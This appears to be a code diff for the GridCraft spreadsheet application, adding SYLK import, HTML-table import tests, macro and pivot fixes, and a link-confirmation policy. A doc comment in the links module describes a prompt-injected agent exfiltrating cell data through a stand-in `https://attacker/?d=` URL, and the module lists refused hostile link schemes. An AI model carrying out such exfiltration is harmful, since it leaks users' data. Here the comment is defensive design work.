+            sheet.cols.entry(c).or_default().size = Some(size);
+        }
+    }
+    let mut wb = Workbook::new();
+    let mut styles = HashMap::new();
+    for (at, index) in cell_formats {
+        let Some(code) = formats.get(index).filter(|code| !code.is_empty() && *code != "General") else { continue };
+        let style = *styles.entry(index).or_insert_with(|| wb.styles.intern(Style { num_fmt: NumFmt(Arc::from(code.as_str())), ..Style::default() }));
+        let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty));
+        cell.style = style;
+        sheet.set_cell(at, cell);
+    }
+    if let Some(first) = wb.sheet_mut(0) {
+        sheet.name = std::mem::take(&mut first.name);
+        *first = sheet;
+    }
+    let mut warnings = Vec::new();
+    if skipped > 0 {
+        warnings.push(format!("{name}: {skipped} SYLK records GridCraft couldn't read were skipped"));
+    }
+    Ok((wb, warnings))
+}
+
+/// A record's fields: `;` separates them and `;;` is a literal semicolon.
+fn split_fields(line: &str) -> Vec<String> {
+    let mut fields = vec![String::new()];
+    let mut chars = line.trim_end_matches('\r').chars().peekable();
+    while let Some(c) = chars.next() {
+        if c == ';' {
+            if chars.peek() == Some(&';') {
+                chars.next();
+                if let Some(f) = fields.last_mut() {
+                    f.push(';');
+                }
+            } else {
+                fields.push(String::new());
+            }
+        } else if let Some(f) = fields.last_mut() {
+            f.push(c);
+        }
+    }
+    fields
+}
+
+/// A 1-based row or column number → 0-based, within `max`.
+fn position(arg: &str, max: u32) -> Option<u32> {
+    arg.trim().parse::<u32>().ok().filter(|n| (1..=max).contains(n)).map(|n| n - 1)
+}
+
+/// A `K` value: `"text"` (everything between the first and the last quote, as written), a
+/// boolean, an error or a number.
+fn parse_value(arg: &str) -> Value {
+    if let Some(text) = arg.strip_prefix('"') {
+        let text = text.strip_suffix('"').unwrap_or(text);
+        return Value::Text(Arc::from(text));
+    }
+    if arg.eq_ignore_ascii_case("TRUE") || arg.eq_ignore_ascii_case("FALSE") {
+        return Value::Bool(arg.eq_ignore_ascii_case("TRUE"));
+    }
+    if let Some(e) = CellError::parse(arg) {
+        return Value::Error(e);
+    }
+    match arg.trim().parse::<f64>() {
+        Ok(n) if n.is_finite() => Value::Number(n),
+        _ => Value::Text(Arc::from(arg)),
+    }
+}
+
+/// One part of an R1C1 reference: `R`/`C` followed by an absolute number, a bracketed offset or
+/// nothing (the cell's own row or column).
+#[derive(Clone, Copy, Debug, PartialEq)]
+enum Part {
+    Absolute(u32),
+    Relative(i64),
+}
+
+impl Part {
+    /// The 0-based index and whether it is absolute, or `None` when it falls off the sheet.
+    fn resolve(self, base: u32, max: u32) -> Option<(u32, bool)> {
+        match self {
+            Part::Absolute(n) => (1..=max).contains(&n).then(|| (n - 1, true)),
+            Part::Relative(k) => i64::from(base).checked_add(k).and_then(|v| u32::try_from(v).ok()).filter(|v| *v < max).map(|v| (v, false)),
+        }
+    }
+}
+
+/// Parses the number after `R` or `C` at `i`: digits, `[offset]` or nothing. Returns the part and
+/// the index after it, or `None` when the text isn't a reference part.
+fn parse_part(chars: &[char], i: usize) -> Option<(Part, usize)> {
+    match chars.get(i) {
+        Some('[') => {
+            let close = chars[i..].iter().position(|&c| c == ']')? + i;
+            let inner: String = chars[i + 1..close].iter().collect();
+            Some((Part::Relative(inner.parse().ok()?), close + 1))
+        }
+        Some(c) if c.is_ascii_digit() => {
+            let end = chars[i..].iter().position(|c| !c.is_ascii_digit()).map_or(chars.len(), |p| p + i);
+            let n: String = chars[i..end].iter().collect();
+            Some((Part::Absolute(n.parse().unwrap_or(u32::MAX)), end))
+        }
+        _ => Some((Part::Relative(0), i)),
+    }
+}
+
+fn is_word_char(c: char) -> bool {
+    c.is_alphanumeric() || matches!(c, '_' | '.' | '\\' | '?' | '$')
+}
+
+/// Rewrites the R1C1 references in a SYLK formula as A1 references for the cell at `at`:
+/// `RC[-1]` → `B2`, `R1C1` → `$A$1`, `R[-2]C:R[-1]C` → `D2:D3`, a whole column `C4` → `$D:$D` and
+/// a whole row `R3` → `$3:$3`. Text in quotes and quoted sheet names are left alone; a reference
+/// off the sheet becomes `#REF!`.
+pub(crate) fn r1c1_formula_to_a1(formula: &str, at: CellRef) -> String {
+    let chars: Vec<char> = formula.chars().collect();
+    let mut out = String::with_capacity(formula.len());
+    let mut i = 0;
+    while i < chars.len() {
+        let c = chars[i];
+        if c == '"' || c == '\'' {
+            // Copy the quoted run as it is; a doubled quote stays inside it.
+            let mut j = i + 1;
+            while j < chars.len() && !(chars[j] == c && chars.get(j + 1) != Some(&c)) {
+                j += if chars[j] == c { 2 } else { 1 };
+            }
+            let stop = (j + 1).min(chars.len());
+            out.extend(&chars[i..stop]);
+            i = stop;
+            continue;
+        }
+        let starts_word = i == 0 || !is_word_char(chars[i - 1]);
+        if starts_word
+            && matches!(c, 'R' | 'r' | 'C' | 'c')
+            && let Some((text, next)) = reference_at(&chars, i, at)
+        {
+            out.push_str(&text);
+            i = next;
+            continue;
+        }
+        // Copy the rest of a word as it is, so `ROUND` or `Sheet2` isn't read as a reference.
+        if is_word_char(c) {
+            let end = (i..chars.len()).find(|&j| !is_word_char(chars[j])).unwrap_or(chars.len());
+            out.extend(&chars[i..end]);
+            i = end;
+        } else {
+            out.push(c);
+            i += 1;
+        }
+    }
+    out
+}
+
+/// The A1 text of the R1C1 reference starting at `i`, and the index after it, or `None` when the
+/// word there isn't a reference (a function or a name).
+fn reference_at(chars: &[char], i: usize, at: CellRef) -> Option<(String, usize)> {
+    let mut j = i;
+    let mut row = None;
+    let mut col = None;
+    if matches!(chars.get(j), Some('R' | 'r')) {
+        let (part, next) = parse_part(chars, j + 1)?;
+        row = Some(part);
+        j = next;
+    }
+    if matches!(chars.get(j), Some('C' | 'c')) {
+        let (part, next) = parse_part(chars, j + 1)?;
+        col = Some(part);
+        j = next;
+    }
+    if row.is_none() && col.is_none() {
+        return None;
+    }
+    // A reference ends the word: `ROUND(`, `RATE` or `R2D2` are names.
+    if chars.get(j).is_some_and(|&c| is_word_char(c) || c == '(' || c == '[' || c == '!') {
+        return None;
+    }
+    let row_text = |p: Part| p.resolve(at.row, MAX_ROWS).map(|(r, abs)| format!("{}{}", if abs { "$" } else { "" }, r + 1));
+    let col_text = |p: Part| p.resolve(at.col, MAX_COLS).map(|(c, abs)| format!("{}{}", if abs { "$" } else { "" }, col_to_letters(c)));
+    // One side of a range (`R2:R4`, `C1:C3`) is written alone; a lone row or column is the whole of it.
+    let prev = chars[..i].iter().rev().find(|c| !c.is_whitespace());
+    let in_range = prev == Some(&':') || chars[j..].iter().find(|c| !c.is_whitespace()) == Some(&':');
+    let text = match (row, col) {
+        (Some(r), Some(c)) => row_text(r).zip(col_text(c)).map(|(r, c)| format!("{c}{r}")),
+        (Some(r), None) => row_text(r).map(|r| if in_range { r } else { format!("{r}:{r}") }),
+        (None, Some(c)) => col_text(c).map(|c| if in_range { c } else { format!("{c}:{c}") }),
+        (None, None) => None,
+    };
+    Some((text.unwrap_or_else(|| "#REF!".into()), j))
+}
@@ -604,3 +604,160 @@ fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() {
    assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")"));
    assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut")));
 }
+
+#[test]
+fn a_web_page_saved_as_xls_opens_its_table() {
+    // #3166: a web app's "Export to Excel" is an HTML table saved as .xls; it opened as lines of
+    // markup. Excel opens the table: values read as typed, <th> bold and centred, <x:Name> names
+    // the sheet.
+    let page = "\u{feff}<html xmlns:x=\"urn:schemas-microsoft-com:office:excel\"><head><meta charset=\"UTF-8\">\
+        <!--[if gte mso 9]><xml><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>Orders</x:Name></x:ExcelWorksheet></x:ExcelWorksheets></xml><![endif]-->\
+        </head><body><table><thead><tr><th>Item</th><th>Qty</th><th>Code</th></tr></thead><tbody>\
+        <tr><td>Kiwi &amp;\n Lime</td><td>12</td><td>007</td></tr><tr><td>Plum</td><td x:num=\"4.5\">4,50</td><td>042</td></tr>\
+        </tbody></table></body></html>";
+    let (wb, warnings) = open_bytes("orders.xls", page.as_bytes()).unwrap();
+    assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}");
+    let sh = wb.sheet(0).unwrap();
+    assert_eq!(sh.name, "Orders");
+    let v = |a: &str| sh.value(CellRef::parse(a).unwrap());
+    assert_eq!(v("A1"), gridcraft_core::Value::text("Item"));
+    assert_eq!(v("A2"), gridcraft_core::Value::text("Kiwi & Lime"));
+    assert_eq!(v("B2"), gridcraft_core::Value::number(12.0));
+    assert_eq!(v("C2"), gridcraft_core::Value::number(7.0), "read like typed input, as Excel does");
+    assert_eq!(v("B3"), gridcraft_core::Value::number(4.5), "the number the page recorded");
+    let style = |a: &str| wb.styles.get(sh.style_id(CellRef::parse(a).unwrap())).clone();
+    assert!(style("A1").font.bold && style("A1").align.h == gridcraft_model::HAlign::Center);
+    assert!(!style("A2").font.bold);
+    // Opened as text, codes keep their zeros; a page named .html gets no warning.
+    let (wb, warnings) = open_bytes_with("orders.html", page.as_bytes(), None, true).unwrap();
+    assert!(warnings.is_empty(), "{warnings:?}");
+    assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("C2").unwrap()), gridcraft_core::Value::text("007"));
+    // Plain text that merely starts with a tag-like word is still read as CSV.
+    let (wb, _) = open_bytes("notes.csv", b"<b>,1\nx,2\n").unwrap();
+    assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(2.0));
+}
+
+#[test]
+fn a_web_page_table_keeps_its_characters_text_and_header_formats() {
+    // A page saved in Windows-1252 keeps its accented letters (it read as replacement characters).
+    let mut page = b"<html><body><table><tr><th>Caf".to_vec();
+    page.push(0xE9);
+    page.extend_from_slice(b"</th><th>2024-01-15</th></tr><tr><td>Plum</td><td x:num=\"4.5\">4,50</td></tr></table></body></html>");
+    let (wb, _) = open_bytes("menu.xls", &page).unwrap();
+    let sh = wb.sheet(0).unwrap();
+    assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("Café"));
+    // A date in a header cell stays a date, bold and centred (its format was replaced).
+    let b1 = wb.styles.get(sh.style_id(CellRef::parse("B1").unwrap()));
+    assert!(matches!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::Number(_)));
+    assert!(b1.font.bold && b1.align.h == gridcraft_model::HAlign::Center);
+    assert_ne!(b1.num_fmt.as_str(), "General", "the date keeps its date format");
+    assert_eq!(sh.value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(4.5));
+    // Opened as text, a cell keeps the text it shows, not the number the page recorded for it.
+    let (wb, _) = open_bytes_with("menu.xls", &page, None, true).unwrap();
+    assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::text("4,50"));
+}
+
+#[test]
+fn a_web_page_table_opens_after_a_leading_comment_and_keeps_nonbreaking_spaces() {
+    // An exporter's comment before <html> still makes a web page; `&nbsp;` stays a non-breaking
+    // space, as Excel keeps it, while ordinary whitespace collapses.
+    let page = "<!-- exported by a web app -->\n<html><body><table><tr><td>New&nbsp;&nbsp;York</td><td>a \n b</td></tr></table></body></html>";
+    let (wb, warnings) = open_bytes("cities.xls", page.as_bytes()).unwrap();
+    assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}");
+    let sh = wb.sheet(0).unwrap();
+    assert_eq!(sh.value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::text("New\u{a0}\u{a0}York"));
+    assert_eq!(sh.value(CellRef::parse("B1").unwrap()), gridcraft_core::Value::text("a b"));
+}
+
+/// A small SYLK file written the way spreadsheets export one: a header, number formats, column
+/// widths, cells that carry on from the last row or column, formulas in R1C1 and a shared formula.
+const SYLK: &str = "ID;PTEST;N;E\r\nP;PGeneral\r\nP;P0.00\r\nP;Pyyyy\\-mm\\-dd\r\nF;W1 1 18\r\nF;W2 3 9\r\nB;Y5;X7\r\n\
+C;Y1;X1;K\"Item\"\r\nC;X2;K\"Qty\"\r\nC;X4;K\"Total\"\r\n\
+C;Y2;X1;K\"Bolts;; small\"\r\nC;X2;K12\r\nF;P1;F$2G;X3\r\nC;X3;K0.35\r\nC;X4;K4.2;ERC[-2]*RC[-1]\r\n\
+C;X5;K52;ER2C2+R[1]C[-3]\r\nC;X6;KTRUE\r\nC;X7;K8.4;ERC[-3]*2\r\n\
+C;Y3;X1;K\"Nuts \"\"hex\"\"\"\r\nC;X2;K40\r\nC;X3;K0.12\r\nC;X4;K4.8;ERC[-2]*RC[-1]\r\nC;X5;K\"big\";EIF(R4C4>5,\"big\",\"small\")\r\nC;X7;K9.6;S;R2;C7\r\n\
+C;Y4;X1;K\"Sum\"\r\nC;X4;K9;ESUM(R[-2]C:R[-1]C)\r\nC;X5;K#DIV/0!;E1/0\r\nC;X7;K18;ESUM(C4)\r\n\
+F;P2;FG0G;Y5;X2\r\nC;Y5;X2;K45000\r\nC;X3;K\"R2C3\";E\"R2C3\"\r\nE\r\n";
+
+#[test]
+fn sylk_files_open_with_values_formulas_formats_and_widths() {
+    let (wb, warnings) = open_bytes("Parts list.slk", SYLK.as_bytes()).unwrap();
+    assert!(warnings.is_empty(), "{warnings:?}");
+    let sh = wb.sheet(0).unwrap();
+    assert_eq!(sh.name, "Parts list", "the sheet is named after the file");
+    let at = |a: &str| CellRef::parse(a).unwrap();
+    let formula = |a: &str| sh.cell(at(a)).and_then(|c| c.formula.as_ref()).map(|f| f.text.clone());
+    let text = |s: &str| gridcraft_core::Value::Text(s.into());
+    assert_eq!(sh.value(at("A1")), text("Item"));
+    assert_eq!(sh.value(at("A2")), text("Bolts; small"), ";; is a semicolon");
+    assert_eq!(sh.value(at("A3")), text("Nuts \"\"hex\"\""), "text is kept between the outer quotes as written");
+    assert_eq!(sh.value(at("B2")), gridcraft_core::Value::Number(12.0));
+    assert_eq!(sh.value(at("F2")), gridcraft_core::Value::Bool(true));
+    assert_eq!(sh.value(at("E4")), gridcraft_core::Value::Error(gridcraft_core::CellError::Div0));
+    assert_eq!(sh.value(at("D4")), gridcraft_core::Value::Number(9.0), "a formula keeps the value the file cached");
+    assert_eq!(formula("D2").as_deref(), Some("B2*C2"));
+    assert_eq!(formula("E2").as_deref(), Some("$B$2+B3"));
+    assert_eq!(formula("E3").as_deref(), Some("IF($D$4>5,\"big\",\"small\")"));
+    assert_eq!(formula("D4").as_deref(), Some("SUM(D2:D3)"));
+    assert_eq!(formula("G3").as_deref(), Some("D3*2"), "a shared formula is the other cell's, moved");
+    assert_eq!(formula("G4").as_deref(), Some("SUM($D:$D)"), "C4 alone is the whole column");
+    assert_eq!(formula("C5").as_deref(), Some("\"R2C3\""), "text in quotes isn't a reference");
+    // `F;P1;X3` formats the cell on the current row only.
+    let fmt = |a: &str| wb.styles.get(sh.style_id(at(a))).num_fmt.0.to_string();
+    assert_eq!(fmt("C2"), "0.00");
+    assert_eq!(fmt("C3"), "General");
+    assert_eq!(fmt("B5"), "yyyy\\-mm\\-dd");
+    // Widths are in characters, like the Column Width dialog's.
+    let chars = |c: u32| gridcraft_model::points_to_chars(f64::from(sh.col_width(c)));
+    assert_eq!((chars(0), chars(1), chars(2)), (18.0, 9.0, 9.0));
+    assert_eq!(sh.cols.get(&3).and_then(|i| i.size), None, "column D keeps the default width");
+}
+
+#[test]
+fn sylk_r1c1_formulas_become_a1() {
+    let b2 = CellRef::parse("B2").unwrap();
+    for (r1c1, a1) in [
+        ("RC", "B2"),
+        ("R[1]C[-1]", "A3"),
+        ("R1C1:R2C2", "$A$1:$B$2"),
+        ("R3", "$3:$3"),
+        ("R1:R[2]", "$1:4"),
+        ("C[1]", "C:C"),
+        ("SUM(C3:C4)", "SUM($C:$D)"),
+        ("ROUND(RC[1],2)+RATE(1,2,3)", "ROUND(C2,2)+RATE(1,2,3)"),
+        ("'R1C1 sheet'!R1C1", "'R1C1 sheet'!$A$1"),
+        ("Sheet2!RC", "Sheet2!B2"),
+        ("R2D2+rc", "R2D2+B2"),
+        ("R[-5]C", "#REF!"),
+        ("\"RC\"&R1C1", "\"RC\"&$A$1"),
+    ] {
+        assert_eq!(sylk::r1c1_formula_to_a1(r1c1, b2), a1, "{r1c1}");
+    }
+}
+
+#[test]
+fn sylk_rejects_other_files_and_survives_damage() {
+    assert!(open_bytes("not.slk", b"A,B\n1,2\n").is_err(), "a SYLK file starts with ID");
+    // Positions off the sheet, broken numbers, a missing end and a format past the list.
+    let (wb, warnings) =
+        open_bytes("damaged.slk", b"ID;P\nC;Y0;X1;K1\nC;Y2;X99999;K2\nC;Y3;X1;K1e999\nF;P7;Y3;X1\nF;W5 2 9\nC;Y4;X1;K5;E(((\n").unwrap();
+    let sh = wb.sheet(0).unwrap();
+    assert_eq!(sh.cells.iter().count(), 2, "{:?}", sh.cells.iter().collect::<Vec<_>>());
+    assert_eq!(sh.value(CellRef::parse("A3").unwrap()), gridcraft_core::Value::Text("1e999".into()));
+    assert_eq!(warnings.len(), 1, "skipped records are reported: {warnings:?}");
+}
+
+#[test]
+fn sylk_survives_huge_relative_offsets_and_width_floods() {
+    // Relative offsets at the edge of i64 fall off the sheet instead of overflowing.
+    let text = b"ID;P\nC;Y1;X1;K0;ER[9223372036854775807]C\nC;Y2;X1;K0;ER[-9223372036854775808]C[-9223372036854775808]\nE\n";
+    assert!(open_bytes("offsets.slk", text).is_ok());
+    // Width records over every column, many times over: the import keeps a bounded number.
+    let mut flood = b"ID;P\n".to_vec();
+    for _ in 0..5000 {
+        flood.extend_from_slice(b"F;W1 16384 12\n");
+    }
+    flood.extend_from_slice(b"C;Y1;X1;K1\nE\n");
+    let (wb, _) = open_bytes("widths.slk", &flood).unwrap();
+    assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("A1").unwrap()), gridcraft_core::Value::Number(1.0));
+}
@@ -514,6 +514,9 @@ pub struct Session {
    /// Review › Notes › Show All Notes: every note is displayed. An application display setting
    /// (like Excel's comment indicator option), so it's not saved in the file.
    pub show_all_notes: bool,
+    /// Whether `link.open` may open web and e-mail addresses without the user's confirmation
+    /// (#2181). Host code sets it; no command does.
+    pub link_policy: links::LinkPolicy,
    /// Open undo groups, innermost last.
    groups: Vec<OpenGroup>,
    next_group: u64,
@@ -2,8 +2,50 @@
 //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the
 //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and
 //! the like are refused. Everything without a scheme stays an in-workbook reference.
+//!
+//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by
+//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open
+//! `https://attacker/?d=<cell data>`. Under the default [`LinkPolicy::Confirm`] the command refuses
+//! external addresses; only the host, after showing the address and getting OK from the user,
+//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches.

 use gridcraft_core::RangeRef;
+use serde_json::{Value as Json, json};
+
+use crate::{EngineError, Result, Session, UiRequest};
+
+/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without
+/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it.
+#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
+pub enum LinkPolicy {
+    /// `link.open` refuses external addresses; the user opens them by clicking the link, which
+    /// asks first ([`Session::open_confirmed_link`]). References still navigate.
+    #[default]
+    Confirm,
+    /// The host trusts every caller of this session (an embedding that vets requests itself):
+    /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused.
+    Allow,
+}
+
+/// The error a programmatic `link.open` of a web or e-mail address returns.
+pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them.";
+
+impl Session {
+    /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed
+    /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is
+    /// refused ([`classify`]). Not a command: only host code that showed the user this exact
+    /// address may call it.
+    pub fn open_confirmed_link(&mut self, target: &str) -> Result<Json> {
+        match classify(target) {
+            LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})),
+            LinkKind::External(u) => {
+                self.ui_requests.push(UiRequest::OpenUrl(u.clone()));
+                Ok(json!({"opened": u}))
+            }
+            LinkKind::Refused(why) => Err(EngineError::Other(why)),
+        }
+    }
+}

 /// What a link target is.
 #[derive(Clone, Debug, PartialEq, Eq)]
@@ -38,6 +38,7 @@ const DENIED: &[(&str, &str)] = &[
    ("view.newWindow", "macros don't open, hide or show windows"),
    ("view.hideWindow", "macros don't open, hide or show windows"),
    ("view.unhideWindow", "macros don't open, hide or show windows"),
+    ("control.press", "macros don't press form controls"),
 ];

 /// Commands under a denied prefix that only change the workbook.
@@ -112,6 +113,7 @@ mod tests {
            "view.newWindow",
            "view.hideWindow",
            "view.unhideWindow",
+            "control.press",
        ] {
            assert!(matches!(macro_policy(id, &none, Trust::Local), Policy::Deny(_)), "{id}");
            assert!(matches!(macro_policy(id, &path, Trust::FromFile), Policy::Deny(_)), "{id}");
@@ -23,7 +23,7 @@ use std::sync::Arc;

 use gridcraft_core::{CellRef, RangeRef, Value};
 use gridcraft_formula::adjust::Edit;
-use gridcraft_model::{Cell, CompareOp, InputKind, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook};
+use gridcraft_model::{Cell, CompareOp, InputKind, MAX_MACRO_REF, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook};
 use serde::Serialize;
 use serde_json::{Value as Json, json};

@@ -539,7 +539,8 @@ impl Guard {
            }
            objects += deleted(&ss.charts, &ps.charts, &sa.charts, |o| o.id)
                + deleted(&ss.images, &ps.images, &sa.images, |o| o.id)
-                + deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id);
+                + deleted(&ss.shapes, &ps.shapes, &sa.shapes, |o| o.id)
+                + deleted(&ss.controls, &ps.controls, &sa.controls, |o| o.id);
        }
        if objects > 0 {
            parts.push(format!("{objects} object{}", if objects == 1 { "" } else { "s" }));
@@ -1285,7 +1286,12 @@ fn objects(b: &Sheet, a: &Sheet) -> (usize, usize, usize) {
        let changed = b.iter().filter(|x| a.iter().any(|y| id(y) == id(x) && y != *x)).count();
        (added, changed, removed)
    }
-    let parts = [count(&b.charts, &a.charts, |o| o.id), count(&b.images, &a.images, |o| o.id), count(&b.shapes, &a.shapes, |o| o.id)];
+    let parts = [
+        count(&b.charts, &a.charts, |o| o.id),
+        count(&b.images, &a.images, |o| o.id),
+        count(&b.shapes, &a.shapes, |o| o.id),
+        count(&b.controls, &a.controls, |o| o.id),
+    ];
    parts.iter().fold((0, 0, 0), |t, p| (t.0 + p.0, t.1 + p.1, t.2 + p.2))
 }

@@ -1393,6 +1399,7 @@ pub fn begin(s: &mut Session, name: &str, p: &Json) -> Result<Begun> {
    check_params(p, &m)?;
    let asks = gate(&m, trust)?;
    approve(s, &m, doc, &asks, p.get("approve").and_then(Json::as_bool).unwrap_or(false))?;
+    let m = with_output(m, p);
    let prepared = prepare(s, &m, p.get("inputs"))?;
    let rule = conflict_rule(p, &m)?;
    let time_limit_ms = time_limit(p);
@@ -1493,9 +1500,21 @@ pub fn run(s: &mut Session, name: &str, p: &Json) -> Result<Json> {
    })
 }

+/// `m` with the run's `output` (a form button that sends the output elsewhere) in place of its own
+/// output anchor, after the policy and the approval, which go by the macro as it is stored. The
+/// anchor is resolved and checked by [`prepare`] like the macro's own, and the footprint, the
+/// conflict rule and the per-step guard all work on the cells it names.
+fn with_output(mut m: Macro, p: &Json) -> Macro {
+    if let Some(o) = p.get("output").and_then(Json::as_str).map(str::trim).filter(|o| !o.is_empty()) {
+        m.output.anchor = Some(o.to_string());
+    }
+    m
+}
+
 /// Refuses run parameters that would otherwise be ignored: an input the macro doesn't have, an
-/// input given as something other than reference text, and `onConflict`, `overwrite`, `approve`
-/// or `timeLimit` of the wrong kind (`null` counts as not given).
+/// input given as something other than reference text, `onConflict`, `overwrite`, `approve` or
+/// `timeLimit` of the wrong kind, and an `output` that isn't reference text of at most
+/// `MAX_MACRO_REF` characters (`null` counts as not given).
 pub fn check_params(p: &Json, m: &Macro) -> Result<()> {
    let refuse = |msg: String| Err(EngineError::Other(format!("Macro '{}': {msg}", m.name)));
    let names = || m.inputs.iter().map(|i| i.name.clone()).collect::<Vec<_>>().join(", ");
@@ -1528,6 +1547,12 @@ pub fn check_params(p: &Json, m: &Macro) -> Result<()> {
            return refuse(format!("`{k}` must be true or false."));
        }
    }
+    if let Some(o) = given("output") {
+        let ok = o.as_str().map(str::trim).is_some_and(|t| !t.is_empty() && t.chars().count() <= MAX_MACRO_REF && !t.chars().any(char::is_control));
+        if !ok {
+            return refuse(format!("`output` must be reference text of at most {MAX_MACRO_REF} characters, such as \"F2\" or \"Sheet2!F2\"."));
+        }
+    }
    if given("timeLimit").is_some_and(|v| !v.as_f64().is_some_and(|t| t > 0.0)) {
        return refuse("`timeLimit` must be a number of seconds above 0.".into());
    }
@@ -1604,7 +1629,7 @@ pub fn check(s: &mut Session, name: &str, p: &Json) -> Result<Json> {
        // Nothing from an unapproved macro runs, not even in a dry run.
        out["needsApproval"] = json!(asks);
    }
-    let prepared = match prepare(s, &m, p.get("inputs")) {
+    let prepared = match prepare(s, &with_output(m, p), p.get("inputs")) {
        Ok(pr) => pr,
        Err(e) => return refused(out, e.to_string()),
    };
@@ -77,6 +77,8 @@ struct AggregateInput<'a> {
    extra: &'a [usize],
    filters: &'a [(usize, &'a PivotFilter, PivotDateGroup, bool)],
    filter_fmts: &'a [String],
+    /// Each filter's selected labels, ASCII-lowercased, so a record's test is one probe.
+    filter_sets: &'a [Option<HashSet<String>>],
    row_fmts: &'a [String],
    col_fmts: &'a [String],
    empty: bool,
@@ -99,10 +101,10 @@ fn aggregate_record(
    ri: usize,
    rec: &[Value],
 ) -> Result<(), String> {
-    for ((c, field, group, _), fmt) in input.filters.iter().zip(input.filter_fmts) {
-        if let Some(selected) = &field.selected {
+    for (((c, _, group, _), fmt), selected) in input.filters.iter().zip(input.filter_fmts).zip(input.filter_sets) {
+        if let Some(selected) = selected {
            let label = item_label(input.wb, rec.get(*c).unwrap_or(&Value::Empty), *group, fmt);
-            if !selected.iter().any(|value| value.eq_ignore_ascii_case(&label)) {
+            if !selected.contains(&label.to_ascii_lowercase()) {
                return Ok(());
            }
        }
@@ -355,15 +357,19 @@ fn ranked_value(raw: Value, lookup: &ValueLookup<'_>, context: &ShowContext<'_>)
    let Some((_, parent)) = context.row_path.split_last() else { return Value::Empty };
    let Some(me) = raw.as_f64() else { return raw };
    let siblings = context.siblings.get(parent).cloned().unwrap_or_default();
-    let mut rank = 1u64;
-    for sibling in siblings {
-        let mut path = parent.to_vec();
-        path.push(sibling);
-        if number(&lookup.get(&path, context.col_path, context.value_index)).is_some_and(|value| value > me) {
-            rank += 1;
-        }
-    }
-    Value::number(rank as f64)
+    // Excel's ranks are dense: ties share a rank and the next value takes the next one
+    // (5, 4, 3, 3, 4 rank 1, 2, 3, 3, 2), so count the distinct larger values.
+    let mut larger: Vec<f64> = siblings
+        .into_iter()
+        .filter_map(|sibling| {
+            let mut path = parent.to_vec();
+            path.push(sibling);
+            number(&lookup.get(&path, context.col_path, context.value_index)).filter(|value| *value > me)
+        })
+        .collect();
+    larger.sort_by(f64::total_cmp);
+    larger.dedup();
+    Value::number(larger.len() as f64 + 1.0)
 }

 fn show_value(definition: &PivotValue, raw: Value, lookup: &ValueLookup<'_>, context: &ShowContext<'_>) -> Value {
@@ -471,6 +477,8 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro

    // ---- aggregate
    let filter_fmts: Vec<String> = filters.iter().map(|f| fmt_of(f.0)).collect();
+    let filter_sets: Vec<Option<HashSet<String>>> =
+        filters.iter().map(|(_, field, _, _)| field.selected.as_ref().map(|s| s.iter().map(|v| v.to_ascii_lowercase()).collect())).collect();
    let row_fmts: Vec<String> = rows.iter().map(|(c, _)| fmt_of(*c)).collect();
    let col_fmts: Vec<String> = cols.iter().map(|(c, _)| fmt_of(*c)).collect();
    let aggregate = aggregate_source(
@@ -484,6 +492,7 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro
            extra: &extra,
            filters: &filters,
            filter_fmts: &filter_fmts,
+            filter_sets: &filter_sets,
            row_fmts: &row_fmts,
            col_fmts: &col_fmts,
            empty,
@@ -197,7 +197,8 @@ impl Acc {
    }
 }

-/// Excel's caption verb for a function ("Sum of Sales").
+/// Excel's caption verb for a function ("Sum of Sales"). Count Numbers is captioned "Count of
+/// Sales", as Excel names it and as the XLSX reader names a value field saved without a name.
 pub fn func_caption(f: PivotFunc) -> &'static str {
    match f {
        PivotFunc::Sum => "Sum",
@@ -206,7 +207,7 @@ pub fn func_caption(f: PivotFunc) -> &'static str {
        PivotFunc::Max => "Max",
        PivotFunc::Min => "Min",
        PivotFunc::Product => "Product",
-        PivotFunc::CountNumbers => "Count Numbers",
+        PivotFunc::CountNumbers => "Count",
        PivotFunc::StdDev => "StdDev",
        PivotFunc::StdDevP => "StdDevp",
        PivotFunc::Var => "Var",
@@ -128,6 +128,32 @@ impl Selection {
    }
 }

+impl Selection {
+    /// Ctrl+. (Next Corner of Selection): the active cell moves clockwise to the next corner of
+    /// the current area (top-left, top-right, bottom-right, bottom-left) and becomes the anchor,
+    /// so Shift+arrows then move the opposite corner. The area stays selected. From a cell that
